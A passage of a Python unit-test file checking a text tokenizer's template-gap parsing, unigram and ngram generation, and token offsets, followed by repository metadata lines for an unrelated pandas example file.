test_process_template_detects_non_well_formed_templatized_regions(self): lines = u'abcd{{ef' self.assertRaises(UnbalancedTemplateError, self.template_parsing, lines) def test_process_template_handles_combination_of_well_formed_and_ill_formed_templates_2(self): lines = u'}}{{{{abc}}ddd}}{{' self.assertRaises(UnbalancedTemplateError, self.template_parsing, lines) def test_process_template_can_parse_ill_formed_template(self): tf = self.get_test_loc('analysis/ill_formed_template/text.txt') lines = unicode_text_lines(tf) result = list(self.template_parsing(lines)) expected_gaps = [30, 10, 60, 70, 20] result_gaps = [x.gap for x in result if x.gap] assert expected_gaps == result_gaps et = self.get_test_loc('analysis/ill_formed_template/expected_grams.json') result_dicts = [t._asdict() for t in result] regen = False if regen: with codecs.open(et, 'w', encoding='utf-8') as out: json.dump(result_dicts, out, indent=2) with codecs.open(et, encoding='utf-8') as inp: expected = json.load(inp) assert expected == result_dicts def test_token_positions_are_kept_same_for_unigrams_and_ngrams_with_template(self): lines = u'some text is some text {{ }} in all cases\n \n' unigrams = unigram_tokenizer(iter([lines]), template=False) tunigrams = unigram_tokenizer(iter([lines]), template=True) ngrams = ngram_tokenizer(iter([lines]), ngram_len=3, template=False) tngrams = ngram_tokenizer(iter([lines]), ngram_len=3, template=True) expected_start_end = (0, 7,) def check_start_end(l): l = list(l) result = (l[0].start, l[-1].end,) assert expected_start_end == result check_start_end(unigrams) check_start_end(tunigrams) check_start_end(ngrams) check_start_end(tngrams) def test_plain_unigrams_from_templated_unigrams(self): lines = [u'My old tailor {{3 John Doe}} is quite very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) result = list(template_processor(unigrams)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=0, value=u'my'), Token(start=0, start_line=0, start_char=3, end_line=0, end_char=6, end=0, gap=0, value=u'old'), Token(start=0, start_line=0, start_char=7, end_line=0, end_char=13, end=0, gap=3, value=u'tailor'), Token(start=0, start_line=0, start_char=29, end_line=0, end_char=31, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=32, end_line=0, end_char=37, end=0, gap=0, value=u'quite'), Token(start=0, start_line=0, start_char=38, end_line=0, end_char=42, end=0, gap=0, value=u'very'), Token(start=0, start_line=0, start_char=43, end_line=0, end_char=47, end=0, gap=0, value=u'rich'), ] assert expected == result class TestLegacyNgrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_plain_ngrams_processor(self): from collections import deque def ngram_processor(items, ngram_len): ngram = deque() current_len = 0 for item in items: if current_len == ngram_len: yield tuple(ngram) ngram.popleft() current_len -= 1 ngram.append(item) current_len += 1 yield tuple(ngram) text = ( u'''/*COMMENT COMMENT COMMENT - COMMENT */ public static boolean activateSearchResultView() { String defaultPerspectiveId= SearchUI.getDefaultPerspectiveId(); if (defaultPerspectiveId != null) { IWorkbenchWindow window= SearchPlugin.getActiveWorkbenchWindow(); if (window != null && window.getShell() != null && !window.getShell().isDisposed()) { try { PlatformUI.getWorkbench().showPerspective(defaultPerspectiveId, window); } catch (WorkbenchException ex) { // show view in current perspective } } }''') expected = [ (u'comment', u'comment', u'comment', u'comment', u'public', u'static'), (u'comment', u'comment', u'comment', u'public', u'static', u'boolean'), (u'comment', u'comment', u'public', u'static', u'boolean', u'activatesearchresultview'), (u'comment', u'public', u'static', u'boolean', u'activatesearchresultview', u'string'), (u'public', u'static', u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid'), (u'static', u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui'), (u'boolean', u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid'), (u'activatesearchresultview', u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if'), (u'string', u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid'), (u'defaultperspectiveid', u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null'), (u'searchui', u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow'), (u'getdefaultperspectiveid', u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window'), (u'if', u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window', u'searchplugin'), (u'defaultperspectiveid', u'null', u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow'), (u'null', u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if'), (u'iworkbenchwindow', u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window'), (u'window', u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window', u'null'), (u'searchplugin', u'getactiveworkbenchwindow', u'if', u'window', u'null', u'window'), (u'getactiveworkbenchwindow', u'if', u'window', u'null', u'window', u'getshell'), (u'if', u'window', u'null', u'window', u'getshell', u'null'), (u'window', u'null', u'window', u'getshell', u'null', u'window'), (u'null', u'window', u'getshell', u'null', u'window', u'getshell'), (u'window', u'getshell', u'null', u'window', u'getshell', u'isdisposed'), (u'getshell', u'null', u'window', u'getshell', u'isdisposed', u'try'), (u'null', u'window', u'getshell', u'isdisposed', u'try', u'platformui'), (u'window', u'getshell', u'isdisposed', u'try', u'platformui', u'getworkbench'), (u'getshell', u'isdisposed', u'try', u'platformui', u'getworkbench', u'showperspective'), (u'isdisposed', u'try', u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid'), (u'try', u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window'), (u'platformui', u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window', u'catch'), (u'getworkbench', u'showperspective', u'defaultperspectiveid', u'window', u'catch', u'workbenchexception'), (u'showperspective', u'defaultperspectiveid', u'window', u'catch', u'workbenchexception', u'ex'), (u'defaultperspectiveid', u'window', u'catch', u'workbenchexception', u'ex', u'show'), (u'window', u'catch', u'workbenchexception', u'ex', u'show', u'view'), (u'catch', u'workbenchexception', u'ex', u'show', u'view', u'in'), (u'workbenchexception', u'ex', u'show', u'view', u'in', u'current'), (u'ex', u'show', u'view', u'in', u'current', u'perspective'), ] unigrams = (x.value for x in unigram_splitter(text.splitlines())) result = list(ngram_processor(unigrams, ngram_len=6)) assert expected == result class TestNgrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_tokens_ngram_processor_bigrams_from_unigrams(self): text = u'this is some text \n on multiple lines' unigrams = unigram_splitter(text.splitlines()) result = list(tokens_ngram_processor(unigrams, ngram_len=2)) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some')), (Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text')), (Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on')), (Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple')), (Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple'), Token(start_line=1, start_char=13, end_line=1, end_char=18, value=u'lines')) ] assert expected == result def test_tokens_ngram_processor_n2_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=2)) assert expected == result def test_tokens_ngram_processor_n3_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=3)) assert expected == result def test_tokens_ngram_processor_n4_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=4)) assert expected == result def test_tokens_ngram_processor_n10_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is')), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=10)) assert expected == result def test_tokens_ngram_processor_n1_with_2_tokens(self): text = u'this is' unigrams = list(unigram_splitter(text.splitlines())) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'),), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'),), ] result = list(tokens_ngram_processor(iter(unigrams), ngram_len=1)) assert expected == result def test_tokens_ngram_processor_3grams_from_unigrams_on_multilines(self): text = u'this is some text \n on multiple lines' unigrams = unigram_splitter(text.splitlines()) result = list(tokens_ngram_processor(unigrams, ngram_len=3)) expected = [ (Token(start_line=0, start_char=0, end_line=0, end_char=4, value=u'this'), Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some')), (Token(start_line=0, start_char=5, end_line=0, end_char=7, value=u'is'), Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text')), (Token(start_line=0, start_char=8, end_line=0, end_char=12, value=u'some'), Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on')), (Token(start_line=0, start_char=13, end_line=0, end_char=17, value=u'text'), Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple')), (Token(start_line=1, start_char=1, end_line=1, end_char=3, value=u'on'), Token(start_line=1, start_char=4, end_line=1, end_char=12, value=u'multiple'), Token(start_line=1, start_char=13, end_line=1, end_char=18, value=u'lines')) ] assert expected == result def test_tokens_ngram_processor_with_template_gaps_basic(self): lines = [u'My old {{3 John Doe}} is rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=3)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=0, value=u'my'), Token(start=0, start_line=0, start_char=3, end_line=0, end_char=6, end=0, gap=3, value=u'old'), ), (Token(start=0, start_line=0, start_char=22, end_line=0, end_char=24, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=25, end_line=0, end_char=29, end=0, gap=0, value=u'rich'), ) ] assert expected == result def test_tokens_ngram_processor_with_template_gaps_merged(self): lines = [u'My old tailor {{3 John Doe}} is quite very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start_line=0, start_char=0, end_line=0, end_char=13, gap=ngram_len, value=(u'my', u'old', u'tailor')), Token(start_line=0, start_char=29, end_line=0, end_char=42, gap=0, value=(u'is', u'quite', u'very')), Token(start_line=0, start_char=32, end_line=0, end_char=47, gap=0, value=(u'quite', u'very', u'rich')), ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_short_grams(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }} very rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')), Token(start=0, start_line=0, start_char=48, end_line=0, end_char=57, end=0, gap=0, value=(u'very', u'rich')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_short_and_long_grams(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }} very rich really rich'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')), Token(start=0, start_line=0, start_char=48, end_line=0, end_char=64, end=0, gap=0, value=(u'very', u'rich', u'really')), Token(start=0, start_line=0, start_char=53, end_line=0, end_char=69, end=0, gap=0, value=(u'rich', u'really', u'rich')) ] assert expected == result def test_ngram_to_token_processor_with_gaps_at_the_end(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }}'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 ngrams_tuples = tokens_ngram_processor(templated, ngram_len=ngram_len) result = list(ngram_to_token(ngrams_tuples)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=(u'my',)), Token(start=0, start_line=0, start_char=20, end_line=0, end_char=28, end=0, gap=5, value=(u'is', u'quite')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_at_the_end_does_yield_empty_tuples(self): lines = [u'My {{3 tailor Joe}} is quite {{ pleasant and }}'] unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) ngram_len = 3 result = list(tokens_ngram_processor(templated, ngram_len=ngram_len)) assert (None, None, None,) != result[-1] expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=2, end=0, gap=3, value=u'my'),), (Token(start=0, start_line=0, start_char=20, end_line=0, end_char=22, end=0, gap=0, value=u'is'), Token(start=0, start_line=0, start_char=23, end_line=0, end_char=28, end=0, gap=5, value=u'quite'), ) ] assert expected == result def test_ngrams_tokenizer_does_not_yield_4grams_for_3grams(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() result = list(ngram_tokenizer(iter(lines), ngram_len=3, template=True)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=16, end=2, gap=0, value=(u'neither', u'the', u'name')), Token(start=1, start_line=0, start_char=8, end_line=0, end_char=19, end=3, gap=10, value=(u'the', u'name', u'of')), Token(start=4, start_line=0, start_char=44, end_line=0, end_char=47, end=4, gap=5, value=(u'nor',)), Token(start=5, start_line=0, start_char=52, end_line=0, end_char=61, end=6, gap=5, value=(u'the', u'names')), Token(start=7, start_line=0, start_char=66, end_line=0, end_char=85, end=9, gap=0, value=(u'of', u'its', u'contributors')), Token(start=8, start_line=0, start_char=69, end_line=0, end_char=89, end=10, gap=0, value=(u'its', u'contributors', u'may')), Token(start=9, start_line=0, start_char=73, end_line=1, end_char=25, end=11, gap=0, value=(u'contributors', u'may', u'materials')), Token(start=10, start_line=0, start_char=86, end_line=1, end_char=34, end=12, gap=0, value=(u'may', u'materials', u'provided')), Token(start=11, start_line=1, start_char=16, end_line=1, end_char=39, end=13, gap=0, value=(u'materials', u'provided', u'with')), Token(start=12, start_line=1, start_char=26, end_line=1, end_char=43, end=14, gap=0, value=(u'provided', u'with', u'the')), Token(start=13, start_line=1, start_char=35, end_line=1, end_char=56, end=15, gap=0, value=(u'with', u'the', u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_always_returns_3grams_when_requested(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=3)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name')), (Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=0, start_char=52, end_line=0, end_char=55, end=0, gap=0, value=u'the'), Token(start=0, start_line=1, start_char=19, end_line=1, end_char=24, end=0, gap=5, value=u'names')), (Token(start=0, start_line=1, start_char=29, end_line=1, end_char=31, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=23, end_line=2, end_char=35, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_merged_always_returns_4grams_when_requested(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}}the names {{}}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=4)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=0, start_char=52, end_line=0, end_char=55, end=0, gap=0, value=u'the'), Token(start=0, start_line=1, start_char=19, end_line=1, end_char=24, end=0, gap=5, value=u'names')), (Token(start=0, start_line=1, start_char=29, end_line=1, end_char=31, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=35, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=36, end_line=1, end_char=48, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=52, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=53, end_line=1, end_char=62, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=63, end_line=1, end_char=71, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=72, end_line=1, end_char=76, end=0, gap=0, value=u'with'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=22, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=23, end_line=2, end_char=35, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_tokens_ngram_processor_with_gaps_can_handle_contiguous_template_regions(self): lines = u'''Neither the name of {{10 the ORGANIZATION}} nor {{}} {{6 }}of its contributors may materials provided with the distribution.'''.splitlines() unigrams = unigram_splitter(lines, splitter=template_splitter) templated = template_processor(unigrams) result = list(tokens_ngram_processor(templated, ngram_len=4)) expected = [ (Token(start=0, start_line=0, start_char=0, end_line=0, end_char=7, end=0, gap=0, value=u'neither'), Token(start=0, start_line=0, start_char=8, end_line=0, end_char=11, end=0, gap=0, value=u'the'), Token(start=0, start_line=0, start_char=12, end_line=0, end_char=16, end=0, gap=0, value=u'name'), Token(start=0, start_line=0, start_char=17, end_line=0, end_char=19, end=0, gap=10, value=u'of')), (Token(start=0, start_line=0, start_char=44, end_line=0, end_char=47, end=0, gap=5, value=u'nor'),), (Token(start=0, start_line=1, start_char=25, end_line=1, end_char=27, end=0, gap=0, value=u'of'), Token(start=0, start_line=1, start_char=28, end_line=1, end_char=31, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may')), (Token(start=0, start_line=1, start_char=28, end_line=1, end_char=31, end=0, gap=0, value=u'its'), Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials')), (Token(start=0, start_line=1, start_char=32, end_line=1, end_char=44, end=0, gap=0, value=u'contributors'), Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided')), (Token(start=0, start_line=1, start_char=45, end_line=1, end_char=48, end=0, gap=0, value=u'may'), Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with')), (Token(start=0, start_line=1, start_char=49, end_line=1, end_char=58, end=0, gap=0, value=u'materials'), Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with'), Token(start=0, start_line=1, start_char=73, end_line=1, end_char=76, end=0, gap=0, value=u'the')), (Token(start=0, start_line=1, start_char=59, end_line=1, end_char=67, end=0, gap=0, value=u'provided'), Token(start=0, start_line=1, start_char=68, end_line=1, end_char=72, end=0, gap=0, value=u'with'), Token(start=0, start_line=1, start_char=73, end_line=1, end_char=76, end=0, gap=0, value=u'the'), Token(start=0, start_line=2, start_char=19, end_line=2, end_char=31, end=0, gap=0, value=u'distribution')) ] assert expected == result def test_ngram_tokenizer_can_handle_gaps_at_end_of_text(self): lines = [u'Neither the name of {{10 the ORGANIZATION}} '] ngram_len = 2 result = list(ngram_tokenizer(lines, ngram_len, template=True)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'neither', u'the')), Token(start=1, start_line=0, start_char=8, end_line=0, end_char=16, end=2, gap=0, value=(u'the', u'name')), Token(start=2, start_line=0, start_char=12, end_line=0, end_char=19, end=3, gap=10, value=(u'name', u'of')) ] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_n3(self): lines = [u'X11 License'] ngram_len = 3 result = list(ngram_tokenizer(lines, ngram_len)) assert lines == list(doc_subset(lines, result[0])) expected = [Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'x11', u'license'))] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_n1(self): lines = [u'X11 License'] ngram_len = 1 result = list(ngram_tokenizer(lines, ngram_len)) expected = [ Token(start=0, start_line=0, start_char=0, end_line=0, end_char=3, end=0, gap=0, value=(u'x11',)), Token(start=1, start_line=0, start_char=4, end_line=0, end_char=11, end=1, gap=0, value=(u'license',)), ] assert expected == result def test_ngram_tokenizer_returns_correct_offsets_template(self): lines = [u'X11 License'] ngram_len = 3 result = list(ngram_tokenizer(lines, ngram_len, template=True)) assert lines == list(doc_subset(lines, result[0])) expected = [Token(start=0, start_line=0, start_char=0, end_line=0, end_char=11, end=1, gap=0, value=(u'x11', u'license'))] assert expected == result def test_unicode_text_lines_handles_weird_xml_encodings(self): test_file = self.get_test_loc('analysis/weird_encoding/easyconf-0.9.0.pom') result = list(unicode_text_lines(test_file)) expected_file = self.get_test_loc('analysis/weird_encoding/easyconf-0.9.0.pom.expected') with open(expected_file, 'rb') as tf: expected = cPickle.load(tf) assert expected == result class TestMultigrams(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') @skipIf(True, 'Performance tests only') class TestAnalysisPerformance(FileBasedTesting): test_data_dir = os.path.join(os.path.dirname(__file__), 'data') def test_splitter_perf(self): test_file = self.get_test_loc('perf/test.txt') text = open(test_file).read() * 100 utext = unicode(text) setup1 = ''' import re from textcode import analysis unicode_ws = analysis.word_splitter plain_ws =re.compile(r'[^\W_]+').finditer unicode_ts = analysis.template_splitter plain_ts= re.compile(r'(?:[^\W_])+|(?:\{\{)|(?:\}\})').finditer text = %r utext = %r''' % (text, utext) def check_perf(setup): from timeit import timeit stmt = 'list(w for w in %s(%s))' print() print('Unicode template') print(timeit(stmt % ('unicode_ts', 'utext'), setup=setup, number=1000)) print('Plain template') print(timeit(stmt % ('plain_ts', 'text'), setup=setup, number=1000)) print('Unicode words') print(timeit(stmt % ('unicode_ws', 'utext'), setup=setup, number=1000)) print('Plain words') print(timeit(stmt % ('plain_ws', 'text'), setup=setup, number=1000)) print('Plain split') print(timeit('text.split()', setup=setup, number=1000)) print('Unicode split') print(timeit('utext.split()', setup=setup, number=1000)) print('Line split') print(timeit('text.splitlines(False)', setup=setup, number=1000)) print('Line split with ends') print(timeit('text.splitlines(True)', setup=setup, number=1000)) check_perf(setup=setup1) setup2 = ''' import re from textcode import analysis unicode_ws = analysis.word_splitter plain_ws =re.compile(r'[^\W_]+').finditer unicode_ts = analysis.template_splitter plain_ts= re.compile(r'(?:[^\W_])+|(?:\{\{)|(?:\}\})').finditer text = %r utext = %r''' % (text, utext) check_perf(setup=setup2)

true

790afbc9aeeb08b0b8b41599887496d1db936b30

630

py

Python

BasicOperations/05_Pandas/05_Pandas_02_groupby.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

[ "MIT" ]

1

2018-07-02T13:54:49.000Z

BasicOperations/05_Pandas/05_Pandas_02_groupby.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

[ "MIT" ]

null

BasicOperations/05_Pandas/05_Pandas_02_groupby.py

UpSea/midProjects

ed6086e74f68b1b89f725abe0b270e67cf8993a8

[ "MIT" ]

3

2016-05-28T15:13:02.000Z

2021-04-10T06:04:25.000Z

